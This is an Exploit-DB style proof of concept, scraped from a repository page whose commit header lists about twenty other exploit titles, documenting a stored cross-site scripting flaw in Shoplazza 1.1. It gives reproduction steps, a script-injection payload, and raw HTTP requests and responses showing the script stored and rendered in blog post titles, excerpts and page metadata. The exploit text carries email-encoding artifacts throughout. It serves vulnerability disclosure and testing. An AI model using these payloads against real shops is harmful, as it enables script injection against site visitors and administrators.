42ade901fe
22 changes to exploits/shellcodes/ghdb LISTSERV 17 - Insecure Direct Object Reference (IDOR) LISTSERV 17 - Reflected Cross Site Scripting (XSS) Router ZTE-H108NS - Stack Buffer Overflow (DoS) Router ZTE-H108NS - Authentication Bypass Boa Web Server v0.94.14 - Authentication Bypass Covenant v0.5 - Remote Code Execution (RCE) Dreamer CMS v4.0.0 - SQL Injection Shoplazza 1.1 - Stored Cross-Site Scripting (XSS) Virtual Reception v1.0 - Web Server Directory Traversal 4images 1.9 - Remote Command Execution (RCE) ClicShopping v3.402 - Cross-Site Scripting (XSS) Concrete5 CME v9.1.3 - Xpath injection Device Manager Express 7.8.20002.47752 - Remote Code Execution (RCE) Ecommerse v1.0 - Cross-Site Scripting (XSS) Eve-ng 5.0.1-13 - Stored Cross-Site Scripting (XSS) myBB forums 1.8.26 - Stored Cross-Site Scripting (XSS) WPForms 1.7.8 - Cross-Site Scripting (XSS) CrowdStrike Falcon AGENT 6.44.15806 - Uninstall without Installation Token Lavasoft web companion 4.1.0.409 - 'DCIservice' Unquoted Service Path Zillya Total Security 3.0.2367.0 - Local Privilege Escalation
67 lines
No EOL
2 KiB
Text
67 lines
No EOL
2 KiB
Text
# Exploit Title: Shoplazza 1.1 - Stored Cross-Site Scripting (XSS)
|
|
# Exploit Author: Andrey Stoykov
|
|
# Software Link: https://github.com/Shoplazza/LifeStyle
|
|
# Version: 1.1
|
|
# Tested on: Ubuntu 20.04
|
|
|
|
|
|
Stored XSS #1:
|
|
|
|
To reproduce do the following:
|
|
|
|
1. Login as normal user account
|
|
2. Browse "Blog Posts" -> "Manage Blogs" -> "Add Blog Post"
|
|
3. Select "Title" and enter payload "><script>alert(1)</script>
|
|
|
|
|
|
// HTTP POST request showing XSS payload
|
|
|
|
PATCH /admin/api/admin/articles/2dc688b1-ac9e-46d7-8e56-57ded1d45bf5 HTTP/1=
|
|
.1
|
|
Host: test1205.myshoplaza.com
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100=
|
|
101 Firefox/100.0
|
|
[...]
|
|
|
|
{"article":{"id":"2dc688b1-ac9e-46d7-8e56-57ded1d45bf5","title":"Title\"><s=
|
|
cript>alert(1)</script>","excerpt":"Excerpt\"><script>alert(2)</script>","c=
|
|
ontent":"<p>\"><script>alert(3)</script></p>"[...]
|
|
|
|
|
|
// HTTP response showing unsanitized XSS payload
|
|
|
|
HTTP/1.1 200 OK
|
|
Content-Type: application/json; charset=3Dutf-8
|
|
[...]
|
|
|
|
{"article":{"title":"Title\"><script>alert(1)</script>","excerpt":"Excerpt\=
|
|
"><script>alert(2)</script>","published":true,"seo_title":"Title\"><script>=
|
|
alert(1)</script>"[...]
|
|
|
|
|
|
// HTTP GET request to trigger XSS payload
|
|
|
|
GET /blog/titlescriptalert1script?st=3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9=
|
|
.eyJleHAiOjE2NzAzMzE5MzYsInN0b3JlX2lkIjo1MTA0NTksInVzZXJfaWQiOiI4NGY4Nzk4ZC=
|
|
03ZGQ1LTRlZGMtYjk3Yy02MWUwODk5ZjM2MDgifQ.9ybPJCtv6Lzf1BlDy-ipoGpXajtl75QdUK=
|
|
Enfj9L49I HTTP/1.1
|
|
Host: test1205.myshoplaza.com
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100=
|
|
101 Firefox/100.0
|
|
[...]
|
|
|
|
|
|
// HTTP response showing unsanitized XSS payload
|
|
|
|
HTTP/1.1 200 OK
|
|
Content-Type: text/html; charset=3DUTF-8
|
|
[...]
|
|
|
|
<meta name=3D"viewport" content=3D"width=3Ddevice-width,initial-scale=3D1,m=
|
|
inimum-scale=3D1,maximum-scale=3D1,user-scalable=3Dno,viewport-fit=3Dcover"=
|
|
>
|
|
<title>Title"><script>alert(1)</script></title>
|
|
<meta name=3D"keywords" content=3D"test1205">
|
|
[...]
|
|
|
|
--rehcsed-054bdeb7-e1dc-47b8-a8d3-67ca7da532d2-- |